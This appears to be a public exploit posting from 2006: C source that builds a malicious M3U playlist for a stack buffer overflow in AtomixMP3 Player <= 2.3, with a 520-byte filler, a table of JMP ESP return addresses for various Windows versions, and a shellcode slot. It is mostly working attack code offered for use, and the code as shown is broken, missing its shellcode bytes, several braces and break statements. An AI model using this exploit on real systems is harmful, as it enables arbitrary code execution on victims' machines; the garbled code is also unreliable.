AtomixMP3 < 2.3 - '.m3u' Local Buffer Overflow







0-day AtomixMP3 <= v2.3 Malformed M3U Buffer Overflow PoC
AtomixMP3 Player/Mixer fails to properly handle large file paths inside
M3U files, the result is a stack based buffer overflow that allows an
attacker to execute code in the context of the player.
C:\ + [BUFFER x 520 bytes] + [JMP] + [SHELLCODE in ESP]

I tried finding a universal jump for this but due to restricted characters
all the jumps in XAudio.dll and the effects dll dont work.
Someone probably could find one if they tried hard ;)

Greets to everyone at EEye, Metasploit, Jerome Athias and Expanders :)

Happy Hunting and Happy Holidays to everyone

<insert super awesome leet ascii art here>

November 2006 - Month Of Greg's Media Player Exploits :)
(i'll probably continue it into December)

Discovered and Reported By: Greg Linares
Reported Exploit Date: 11/30/2006


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])

       FILE *Exploit;
       char buffer[525];

       /* Executes Calc.exe Alpha2 Shellcode Provided by Expanders <expanders[at]gmail[dot]com> */
       unsigned char scode[] =

       /* replace it with your own shellcode :) */

       int JMP, x;

       printf("AtomixMP3 <= v2.3 M3U Buffer Overflow Exploit\n");
       printf("Discovered and Coded By: Greg Linares <GLinares.code[at]gmail[dot]com>\n");
       printf("Usage: %s <output M3U file> <JMP>\n", argv[0]);
       printf("\n JMP Options\n");
       printf("1 = English Windows XP SP 2 User32.dll <JMP ESP 0x77db41bc>\n");
       printf("2 = English Windows XP SP 1 User32.dll <JMP ESP 0x77d718fc>\n");
       printf("3 = English Windows 2003 SP0 and SP1 User32.dll <JMP ESP 0x77d74adc>\n");
       printf("4 = English Windows 2000 SP 4 User32.dll  <JMP ESP 0x77e3c256>\n");
       printf("5 = French Windows XP Pro SP2  <JMP ESP 0x77d8519f> \n");
       printf("6 = German/Italian/Dutch/Polish Windows XP SP2  <JMP ESP 0x77d873a0> \n");
       printf("7 = Spainish Windows XP Pro SP2 <JMP ESP 0x77d9932f> \n");
       printf("8 = French/Italian/German/Polish/Dutch Windows 2000 Pro SP4 <JMP ESP 0x77e04c29>\n");
       printf("9 = French/Italian/Chineese Windows 2000 Server SP4 <JMP ESP 0x77df4c29>\n");

       /* thanks metasploit and jerome for opcodes */

       if (argc < 2) {
               printf("Invalid Number Of Arguments\n");
               return 1;

       Exploit = fopen(argv[1],"w");
   if ( !Exploit )
       printf("\nCouldn't Open File!");
       return 1;

       memset(buffer, 0, 520);

       fputs("#EXTM3U\r\n#EXTINF:0,", Exploit);
       fputs("0-day_AtomixMP3_M3U_Buffer_Overflow_Exploit_By_Greg_Linares\r\n", Exploit);
       fputs("C:\\", Exploit);

       for (x=0;x<520;x++) {
               strcat(buffer, "A");

       fputs(buffer, Exploit);

       if (atoi(argv[2]) <= 0) {
               JMP = 1;
       } else if (atoi(argv[2]) > 4) {
               JMP = 1;
       } else {
               JMP = atoi(argv[2]);
       switch(JMP) {
               case 1:
                       printf("Using English Windows XP SP2 JMP...\n");
                       fputs("\xbc\x41\xdb\x77", Exploit);
               case 2:
                       printf("Using English Windows XP SP1 JMP...\n");
                       fputs("\xfc\x18\xd7\x77", Exploit);
               case 3:
                       printf("Using English Windows 2003 SP0 & SP1 JMP...\n");
                       fputs("\xdc\x4a\xd7\x77", Exploit);
               case 4:
                       printf("Using English Windows 2000 SP 4 JMP...\n");
                       fputs("\x56\xc2\xe3\x77", Exploit);
               case 5:
                       printf("Using French Windows XP SP 2 JMP...\n");
                       fputs("\x9f\x51\xd8\x77", Exploit);
               case 6:
                       printf("Using German/Italian/Dutch/Polish Windows XP SP 2 JMP...\n");
                       fputs("\xa0\x73\xd8\x77", Exploit);
               case 7:
                       printf("Using Spainish Windows XP SP 2 JMP...\n");
                       fputs("\x2f\x93\xd9\x77", Exploit);
               case 8:
                       printf("Using French/Italian/German/Polish/Dutch Windows 2000 Pro SP 4 JMP...\n");
                       fputs("\x29\x4c\xe0\x77", Exploit);
               case 9:
                       printf("Using French/Italian/Chineese Windows 2000 Server SP 4 JMP...\n");
                       fputs("\x29\x4c\xdf\x77", Exploit);


       fputs(scode, Exploit);
       fputs("\r\n", Exploit);

       printf("Exploit Succeeded...\n Output File: %s\n\n", argv[1]);

       printf("Exploit Coded by Greg Linares (GLinares.code[at]gmail[dot]com)\n");
       printf("Greetz to: Everyone at EEye, Metasploit Crew, Jerome Athias and Expanders - Thanks For The Ideas, Tools and Alpha2 Shell Code\n");
       return 0;

// [2006-11-30]